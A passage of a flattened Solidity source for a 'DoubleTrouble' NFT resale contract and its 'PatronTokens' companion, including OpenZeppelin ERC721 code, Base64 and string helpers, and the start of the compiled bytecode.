tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File contracts/Libraries.sol pragma solidity ^0.8.0; /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } library Stringify { function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(abi.encodePacked('0x', string(s))); } function char(bytes1 b) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } } // File contracts/PatronTokens.sol pragma solidity ^0.8.0; struct CollectionInfo { address addr; string name; string symbol; address patron; } struct Token { address collection; uint256 id; } contract PatronTokens is ERC721URIStorage { // Enumerable set of known tokens Token[] _registeredTokens; mapping(address => mapping (uint256 => bool)) _registeredTokensSet; // Enumerable set of known collections address[] _registeredCollections; mapping(address => bool) _registeredCollectionsSet; // Reference to the dt contract that controls this PatronTokens contract address public _dt; constructor(address dtAddr) ERC721("DoubleTrouble Patron Tokens", "PTRN") { _dt = dtAddr; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == 0xdeadbeef || super.supportsInterface(interfaceId); } function registeredTokens() external view returns (Token[] memory) { return _registeredTokens; } function totalSupply() external view returns (uint256) { return _registeredCollections.length; } function registerToken(address collection, uint256 tokenId) public { require(msg.sender == _dt, "Only the DoubleTrouble contract can call this"); if (!_registeredTokensSet[collection][tokenId]) { _registeredTokensSet[collection][tokenId] = true; _registeredTokens.push(Token(collection, tokenId)); } } function tryToClaimPatronToken(address collection, address receiverOfNft) public { require(msg.sender == _dt, "Only the DoubleTrouble contract can call this"); if (!_registeredCollectionsSet[collection]) { _registeredCollectionsSet[collection] = true; _registeredCollections.push(collection); // We mint a brand new NFT if this is the first call for this collection _safeMint(receiverOfNft, _registeredCollections.length - 1); } } function patronTokenIdForCollection(address collection) public view returns (bool, uint256) { for (uint i = 0; i < _registeredCollections.length; i++) { if (collection == address(_registeredCollections[i])) { return (true, i); } } // Collection not found return (false, 0); } function patronOf(address collection) public view returns (address) { (bool found, uint256 tokenId) = patronTokenIdForCollection(collection); if (!found) { return address(0); } return ownerOf(tokenId); } function patronedCollection(uint256 tokenId) public view returns (address) { return _registeredCollections[tokenId]; } function patronedCollectionInfo(uint256 tokenId) public view returns (CollectionInfo memory) { IERC721Metadata c = IERC721Metadata(_registeredCollections[tokenId]); return CollectionInfo(_registeredCollections[tokenId], c.name(), c.symbol(), ownerOf(tokenId)); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(tokenId < _registeredCollections.length, "tokenId not present"); string memory collectionAddr = Stringify.toString(_registeredCollections[tokenId]); string memory strTokenId = Stringify.toString(tokenId); string[20] memory parts; uint256 lastPart = 0; parts[lastPart++] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 400 400"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; parts[lastPart++] = string(abi.encodePacked('PTRN #', strTokenId)); parts[lastPart++] = '</text>'; try IERC721Metadata(_registeredCollections[tokenId]).name() returns (string memory name) { parts[lastPart++] = '<text x="10" y="40" class="base">'; parts[lastPart++] = name; parts[lastPart++] = '</text>'; } catch (bytes memory /*lowLevelData*/) { // NOOP } try IERC721Metadata(_registeredCollections[tokenId]).symbol() returns (string memory symbol) { parts[lastPart++] = '<text x="10" y="60" class="base">'; parts[lastPart++] = symbol; parts[lastPart++] = '</text>'; } catch (bytes memory /*lowLevelData*/) { // NOOP } parts[lastPart++] = '<text x="10" y="80" class="base">'; parts[lastPart++] = string(abi.encodePacked('Collection: ', collectionAddr)); parts[lastPart++] = '</text></svg>'; string memory output; for (uint256 i = 0; i < lastPart; i++) { output = string(abi.encodePacked(output, parts[i])); } string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "PTRN #', strTokenId, '", "collection": "', collectionAddr, '", "description": "Whoever owns this PTRN token is the Patron for this collection. Patrons automatically get a % fee for any NFT from this collection sold within Double Trouble.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } } // File contracts/DoubleTrouble.sol pragma solidity ^0.8.0; struct TokenInfo { address collection; uint256 tokenId; uint256 lastPurchasePrice; uint256 forSalePrice; uint256 availableToWithdraw; } contract DoubleTrouble { // nested mapping that keeps track of who owns the NFTs mapping(address => mapping (uint256 => uint256)) _forSalePrices; mapping(address => mapping (uint256 => uint256)) _lastPurchasePrices; mapping(address => mapping (uint256 => uint256)) _lastPurchaseTimes; mapping(address => mapping (uint256 => address)) _owners; address _feeWallet; uint256 public _feeRate; uint256 public _daysForWithdraw; uint256 public _dtNumerator; uint256 public _dtDenominator; PatronTokens public _pt; event Buy(address oldOwner, address newOwner, address collection, uint256 tokenId, uint256 valueSent, uint256 amountPaid); event ForceBuy(address oldOwner, address newOwner, address collection, uint256 tokenId, uint256 valueSent, uint256 lastPurchasePrice, uint256 amountPaid); event SetPrice(address msgSender, address collection, uint256 tokenId, uint256 price); event Withdraw(address owner, address collection, uint256 tokenId, uint256 lastPurchasePrice); constructor(address ptdAddr, uint256 daysForWithdraw, uint256 dtNumerator, uint256 dtDenominator, uint256 feeRate, address feeWallet) { _feeWallet = feeWallet; _daysForWithdraw = daysForWithdraw; _dtNumerator = dtNumerator; _dtDenominator = dtDenominator; _feeRate = feeRate; _pt = PatronTokensDeployer(ptdAddr).deployIdempotently(address(this)); } function patronTokensCollection() external view returns (address) { return address(_pt); } function forSalePrice(address collection, uint256 tokenId) external view returns (uint256) { return _forSalePrices[collection][tokenId]; } function lastPurchasePrice(address collection, uint256 tokenId) external view returns (uint256) { return _lastPurchasePrices[collection][tokenId]; } function lastPurchaseTime(address collection, uint256 tokenId) external view returns (uint256) { return _lastPurchaseTimes[collection][tokenId]; } function availableToWithdraw(address collection, uint256 tokenId) external view returns (uint256) { return _lastPurchaseTimes[collection][tokenId] + (_daysForWithdraw * 1 days); } function secondsToWithdraw(address collection, uint256 tokenId) external view returns (int256) { // Allow uints to underflow per https://ethereum-blockchain-developer.com/010-solidity-basics/03-integer-overflow-underflow/ unchecked { return int256(this.availableToWithdraw(collection, tokenId) - block.timestamp); } } function originalTokenURI(address collection, uint256 tokenId) external view returns (string memory) { return IERC721Metadata(collection).tokenURI(tokenId); } function ownerOf(address collection, uint256 tokenId) public view returns (address) { return _owners[collection][tokenId]; } function setPrice(address collection, uint256 tokenId, uint256 price) external { _pt.registerToken(collection, tokenId); // Putting up for sale for the first time if (_lastPurchasePrices[collection][tokenId] == 0) { require(IERC721Metadata(collection).getApproved(tokenId) == msg.sender || IERC721Metadata(collection).ownerOf(tokenId) == msg.sender, "msg.sender should be approved or owner of original NFT"); // All times after } else { require(ownerOf(collection, tokenId) == msg.sender, "msg.sender should be owner of NFT"); } _forSalePrices[collection][tokenId] = price; emit SetPrice(msg.sender, collection, tokenId, price); } function buy(address collection, uint256 tokenId) payable external { require(_forSalePrices[collection][tokenId] > 0, "NFT is not for sale"); require(msg.value >= _forSalePrices[collection][tokenId], "Value sent must be at least the for sale price"); _pt.registerToken(collection, tokenId); // Make NFT troublesome if this is the first time it's being purchased if (_owners[collection][tokenId] == address(0)) { require(IERC721Metadata(collection).getApproved(tokenId) == address(this), "DoubleTrouble contract must be approved to operate this token"); // In the original collection, the owner becomes the DoubleTrouble contract address owner = IERC721Metadata(collection).ownerOf(tokenId); IERC721Metadata(collection).transferFrom(owner, address(this), tokenId); _owners[collection][tokenId] = owner; } emit Buy(_owners[collection][tokenId], msg.sender, collection, tokenId, msg.value, _forSalePrices[collection][tokenId]); _completeBuy(_owners[collection][tokenId], msg.sender, collection, tokenId, _forSalePrices[collection][tokenId]); } function forceBuy(address collection, uint256 tokenId) payable external { require(_lastPurchasePrices[collection][tokenId] > 0, "NFT was not yet purchased within DoubleTrouble"); uint256 amountToPay = _dtNumerator * _lastPurchasePrices[collection][tokenId] / _dtDenominator; require(msg.value >= amountToPay, "Value sent must be at least twice the last purchase price"); _pt.registerToken(collection, tokenId); emit ForceBuy(_owners[collection][tokenId], msg.sender, collection, tokenId, msg.value, _lastPurchasePrices[collection][tokenId], amountToPay); _completeBuy(_owners[collection][tokenId], msg.sender, collection, tokenId, amountToPay); } function _completeBuy(address oldOwner, address newOwner, address collection, uint256 tokenId, uint256 amountToPay) internal virtual { require(_owners[collection][tokenId] == oldOwner, "old owner must match"); // If this is the first time someone is buying an item from this collection, seller claims the patron token _pt.tryToClaimPatronToken(collection, oldOwner); // Change owner, set last purchase price, and remove from sale _owners[collection][tokenId] = newOwner; _lastPurchasePrices[collection][tokenId] = amountToPay; _lastPurchaseTimes[collection][tokenId] = block.timestamp; _forSalePrices[collection][tokenId] = 0; uint256 patronFee = amountToPay / _feeRate; // Send ether to the old owner. Must be at the very end of the buy function to prevent reentrancy attacks // https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/ uint256 amountSent = amountToPay - 2 * patronFee; (bool oldOwnersuccess, ) = oldOwner.call{value: amountSent}(""); require(oldOwnersuccess, "Transfer to owner failed."); _sendFees(collection, patronFee, msg.value - amountSent); } function _sendFees(address collection, uint256 patronFee, uint256 valueLeft) internal virtual { // Send fee to patron of this troublesome Collection address patron = _pt.patronOf(collection); (bool patronSuccess, ) = patron.call{value: patronFee}(""); // Send rest of the fee to the DT wallet uint256 rest = patronSuccess ? valueLeft - patronFee : valueLeft; (bool feeWalletSuccess, ) = _feeWallet.call{value: rest}(""); require(feeWalletSuccess, "Transfer to DT wallet failed."); } function withdraw(address collection, uint256 tokenId) payable external { require(_owners[collection][tokenId] == msg.sender, "msg.sender should be owner of NFT"); require(block.timestamp > this.availableToWithdraw(collection, tokenId), "NFT not yet available to withdraw from Double Trouble"); require(msg.value >= _lastPurchasePrices[collection][tokenId] / _feeRate * 2, "Must pay fee to withdraw"); uint256 pricePaid = _lastPurchasePrices[collection][tokenId]; emit Withdraw(_owners[collection][tokenId], collection, tokenId, pricePaid); // Transfer original NFT back to owner, and burn troublesome NFT IERC721Metadata(collection).transferFrom(address(this), _owners[collection][tokenId], tokenId); // Reset DT state for token _owners[collection][tokenId] = address(0); _lastPurchasePrices[collection][tokenId] = 0; _forSalePrices[collection][tokenId] = 0; _lastPurchaseTimes[collection][tokenId] = 0; _sendFees(collection, pricePaid / _feeRate, msg.value); } function allKnownTokens() external view returns (TokenInfo[] memory) { Token[] memory knownTokens = _pt.registeredTokens(); TokenInfo[] memory ret = new TokenInfo[](knownTokens.length); for (uint256 i = 0; i < knownTokens.length; i++) { Token memory t = knownTokens[i]; ret[i] = TokenInfo(t.collection, t.id, _lastPurchasePrices[t.collection][t.id], _forSalePrices[t.collection][t.id], _lastPurchaseTimes[t.collection][t.id] + (_daysForWithdraw * 1 days)); } return ret; } } contract PatronTokensDeployer { mapping(address => PatronTokens) _deployed; function deployIdempotently(address dt) public returns (PatronTokens) { if (address(_deployed[dt]) == address(0)) { _deployed[dt] = new PatronTokens(dt); } return _deployed[dt]; } }
0x6080604052600436106101095760003560e01c806390d4b4bf11610095578063ad2e6fe811610064578063ad2e6fe8146103aa578063b2131f7d146103d5578063b3dc90eb14610400578063cce7ec131461042b578063f3fef3a31461044757610109565b806390d4b4bf146102c85780639a7818b9146102f3578063a08109d114610330578063a12495f51461036d57610109565b80633011e16a116100dc5780633011e16a146101de5780633945c9f9146102075780634525141a146102235780634fbcaf831461026057806366f294cf1461028b57610109565b806307341d8b1461010e5780631423f15a146101395780631f29d2dc1461016457806324de9761146101a1575b600080fd5b34801561011a57600080fd5b50610123610463565b6040516101309190612ce3565b60405180910390f35b34801561014557600080fd5b5061014e610734565b60405161015b9190612b2a565b60405180910390f35b34801561017057600080fd5b5061018b6004803603810190610186919061268b565b61075e565b6040516101989190612b2a565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061268b565b6107d9565b6040516101d59190612edd565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906126cb565b610834565b005b610221600480360381019061021c919061268b565b610be3565b005b34801561022f57600080fd5b5061024a6004803603810190610245919061268b565b610f3c565b6040516102579190612edd565b60405180910390f35b34801561026c57600080fd5b50610275610f96565b6040516102829190612edd565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad919061268b565b610f9c565b6040516102bf9190612edd565b60405180910390f35b3480156102d457600080fd5b506102dd611012565b6040516102ea9190612d05565b60405180910390f35b3480156102ff57600080fd5b5061031a6004803603810190610315919061268b565b611038565b6040516103279190612d20565b60405180910390f35b34801561033c57600080fd5b506103576004803603810190610352919061268b565b6110cf565b6040516103649190612edd565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061268b565b61112a565b6040516103a19190612d3b565b60405180910390f35b3480156103b657600080fd5b506103bf6111c2565b6040516103cc9190612edd565b60405180910390f35b3480156103e157600080fd5b506103ea6111c8565b6040516103f79190612edd565b60405180910390f35b34801561040c57600080fd5b506104156111ce565b6040516104229190612edd565b60405180910390f35b6104456004803603810190610440919061268b565b6111d4565b005b610461600480360381019061045c919061268b565b61187f565b005b60606000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663454666166040518163ffffffff1660e01b815260040160006040518083038186803b1580156104cf57600080fd5b505afa1580156104e3573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061050c919061271e565b90506000815167ffffffffffffffff81111561052b5761052a6132a5565b5b60405190808252806020026020018201604052801561056457816020015b610551612467565b8152602001906001900390816105495790505b50905060005b825181101561072b57600083828151811061058857610587613276565b5b602002602001015190506040518060a00160405280826000015173ffffffffffffffffffffffffffffffffffffffff1681526020018260200151815260200160016000846000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084602001518152602001908152602001600020548152602001600080846000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084602001518152602001908152602001600020548152602001620151806006546106939190613061565b60026000856000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085602001518152602001908152602001600020546106f69190612fda565b81525083838151811061070c5761070b613276565b5b6020026020010181905250508080610723906131cf565b91505061056a565b50809250505090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302ca599484846040518363ffffffff1660e01b8152600401610891929190612cba565b600060405180830381600087803b1580156108ab57600080fd5b505af11580156108bf573d6000803e3d6000fd5b505050506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020541415610ad5573373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1663081812fc846040518263ffffffff1660e01b815260040161096c9190612edd565b60206040518083038186803b15801561098457600080fd5b505afa158015610998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bc919061265e565b73ffffffffffffffffffffffffffffffffffffffff161480610a9157503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b8152600401610a299190612edd565b60206040518083038186803b158015610a4157600080fd5b505afa158015610a55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a79919061265e565b73ffffffffffffffffffffffffffffffffffffffff16145b610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac790612ddd565b60405180910390fd5b610b4d565b3373ffffffffffffffffffffffffffffffffffffffff16610af6848461075e565b73ffffffffffffffffffffffffffffffffffffffff1614610b4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4390612e3d565b60405180910390fd5b5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020819055507f842cd33d5c4fbd27ed76fdff678fdf5fe0bdf26805132b8cd2ac5b5e7f20454933848484604051610bd69493929190612c75565b60405180910390a1505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000205411610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90612d9d565b60405180910390fd5b6000600854600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054600754610cd99190613061565b610ce39190613030565b905080341015610d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1f90612ebd565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302ca599484846040518363ffffffff1660e01b8152600401610d85929190612cba565b600060405180830381600087803b158015610d9f57600080fd5b505af1158015610db3573d6000803e3d6000fd5b505050507ff78a5e9b14ff5788d405220187f43b60b1e5f95287893279849d54146e898dd4600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633858534600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008981526020019081526020016000205487604051610eb29796959493929190612bcf565b60405180910390a1610f37600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633858585611e64565b505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b60085481565b600062015180600654610faf9190613061565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000205461100a9190612fda565b905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000423073ffffffffffffffffffffffffffffffffffffffff166366f294cf85856040518363ffffffff1660e01b8152600401611076929190612cba565b60206040518083038186803b15801561108e57600080fd5b505afa1580156110a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c691906127b0565b03905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b60608273ffffffffffffffffffffffffffffffffffffffff1663c87b56dd836040518263ffffffff1660e01b81526004016111659190612edd565b60006040518083038186803b15801561117d57600080fd5b505afa158015611191573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906111ba9190612767565b905092915050565b60075481565b60055481565b60065481565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000205411611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d90612e1d565b60405180910390fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828152602001908152602001600020543410156112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90612dfd565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302ca599483836040518363ffffffff1660e01b8152600401611355929190612cba565b600060405180830381600087803b15801561136f57600080fd5b505af1158015611383573d6000803e3d6000fd5b50505050600073ffffffffffffffffffffffffffffffffffffffff16600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116af573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1663081812fc836040518263ffffffff1660e01b815260040161147c9190612edd565b60206040518083038186803b15801561149457600080fd5b505afa1580156114a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114cc919061265e565b73ffffffffffffffffffffffffffffffffffffffff1614611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990612e7d565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b815260040161155d9190612edd565b60206040518083038186803b15801561157557600080fd5b505afa158015611589573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ad919061265e565b90508273ffffffffffffffffffffffffffffffffffffffff166323b872dd8230856040518463ffffffff1660e01b81526004016115ec93929190612c3e565b600060405180830381600087803b15801561160657600080fd5b505af115801561161a573d6000803e3d6000fd5b5050505080600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b7f2b136dc8a1e75af47608f32ab641e99cb1c02b2abe3f05d187f42a8b90421c4b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338484346000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000888152602001908152602001600020546040516117a796959493929190612b6e565b60405180910390a161187b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163384846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002054611e64565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490612e3d565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff166366f294cf83836040518363ffffffff1660e01b8152600401611998929190612cba565b60206040518083038186803b1580156119b057600080fd5b505afa1580156119c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e891906127b0565b4211611a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2090612e5d565b60405180910390fd5b6002600554600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054611a899190613030565b611a939190613061565b341015611ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acc90612d7d565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200